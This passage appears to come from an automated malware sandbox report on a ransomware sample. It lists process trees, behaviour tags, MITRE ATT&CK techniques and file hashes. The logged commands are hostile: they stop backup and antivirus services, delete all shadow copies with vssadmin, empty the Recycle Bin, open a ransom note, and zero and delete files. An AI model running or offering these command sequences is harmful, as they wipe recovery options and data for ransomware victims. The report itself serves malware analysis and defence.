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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc /y3⤵
- System Location Discovery: System Language Discovery
PID:5480
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C:\Windows\SysWOW64\net.exe"net.exe" stop veeam /y2⤵
- System Location Discovery: System Language Discovery
PID:4360 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop veeam /y3⤵
- System Location Discovery: System Language Discovery
PID:5524
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C:\Windows\SysWOW64\net.exe"net.exe" stop PDVFSService /y2⤵PID:5068
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop PDVFSService /y3⤵
- System Location Discovery: System Language Discovery
PID:5836
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecVSSProvider /y2⤵
- System Location Discovery: System Language Discovery
PID:4652 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecVSSProvider /y3⤵PID:5992
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecAgentAccelerator /y2⤵PID:4720
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentAccelerator /y3⤵
- System Location Discovery: System Language Discovery
PID:5844
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecAgentBrowser /y2⤵PID:2568
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentBrowser /y3⤵
- System Location Discovery: System Language Discovery
PID:5716
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecDiveciMediaService /y2⤵
- System Location Discovery: System Language Discovery
PID:3248 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecDiveciMediaService /y3⤵PID:6056
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecJobEngine /y2⤵
- System Location Discovery: System Language Discovery
PID:1508 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecJobEngine /y3⤵PID:5788
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecManagementService /y2⤵
- System Location Discovery: System Language Discovery
PID:5032 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecManagementService /y3⤵
- System Location Discovery: System Language Discovery
PID:6116
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecRPCService /y2⤵
- System Location Discovery: System Language Discovery
PID:3892 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecRPCService /y3⤵PID:5780
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C:\Windows\SysWOW64\net.exe"net.exe" stop AcrSch2Svc /y2⤵
- System Location Discovery: System Language Discovery
PID:3276 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcrSch2Svc /y3⤵PID:5920
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C:\Windows\SysWOW64\net.exe"net.exe" stop AcronisAgent /y2⤵
- System Location Discovery: System Language Discovery
PID:4344 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcronisAgent /y3⤵PID:5636
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C:\Windows\SysWOW64\net.exe"net.exe" stop CASAD2DWebSvc /y2⤵
- System Location Discovery: System Language Discovery
PID:348 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASAD2DWebSvc /y3⤵PID:5568
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C:\Windows\SysWOW64\net.exe"net.exe" stop CAARCUpdateSvc /y2⤵
- System Location Discovery: System Language Discovery
PID:1240 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CAARCUpdateSvc /y3⤵
- System Location Discovery: System Language Discovery
PID:5644
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C:\Windows\SysWOW64\net.exe"net.exe" stop sophos /y2⤵PID:4660
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sophos /y3⤵PID:5852
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C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLTELEMETRY start= disabled2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:4620
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C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:772
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C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLWriter start= disabled2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:4696
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C:\Windows\SysWOW64\sc.exe"sc.exe" config SstpSvc start= disabled2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3364
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C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:420
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C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4044
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C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4580
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" Delete Shadows /all /quiet2⤵
- System Location Discovery: System Language Discovery
- Interacts with shadow copies
PID:2884
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB2⤵
- System Location Discovery: System Language Discovery
- Interacts with shadow copies
PID:1636
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded2⤵
- System Location Discovery: System Language Discovery
- Interacts with shadow copies
PID:984
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB2⤵
- System Location Discovery: System Language Discovery
- Interacts with shadow copies
PID:4116
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded2⤵
- System Location Discovery: System Language Discovery
- Interacts with shadow copies
PID:4640
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB2⤵
- System Location Discovery: System Language Discovery
- Interacts with shadow copies
PID:2772
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded2⤵
- System Location Discovery: System Language Discovery
- Interacts with shadow copies
PID:4356
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB2⤵
- System Location Discovery: System Language Discovery
- Interacts with shadow copies
PID:4252
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded2⤵
- Interacts with shadow copies
PID:3328
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB2⤵
- System Location Discovery: System Language Discovery
- Interacts with shadow copies
PID:1880
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded2⤵
- Interacts with shadow copies
PID:1576
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB2⤵
- System Location Discovery: System Language Discovery
- Interacts with shadow copies
PID:2260
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded2⤵
- Interacts with shadow copies
PID:4544
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" Delete Shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4296
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C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin2⤵PID:3052
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C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp8702.bat2⤵PID:2356
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C:\Windows\SysWOW64\notepad.exe"C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt2⤵
- System Location Discovery: System Language Discovery
- Opens file in notepad (likely ransom note)
PID:5500
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C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”2⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
PID:1012 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.7 -n 33⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:1936
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C:\Windows\SysWOW64\fsutil.exefsutil file setZeroData offset=0 length=524288 “%s”3⤵
- System Location Discovery: System Language Discovery
PID:3056
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe2⤵
- System Location Discovery: System Language Discovery
PID:5376 -
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 33⤵PID:4800
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Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1System Services
1Service Execution
1Windows Management Instrumentation
1Defense Evasion
Direct Volume Access
1Indicator Removal
2File Deletion
2Modify Registry
1Replay Monitor
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Downloads
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Filesize
1KB
MD5384b04c49b9ed554108262b44614ee47
SHA1e58d9dd670405084d0d7c5b02c5276006795abb1
SHA256f9183e83066ae37e1a343de924be5dde1e92bdb5529e35ad19100aa8f734513b
SHA512d18f7b7db6aedfe54f6545949b254f674fad21efba4248729b5034b867be734a03016d349c2a20192b1722f0a8cf831f13dc5df07a295b41b05fecdec94c5b05
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a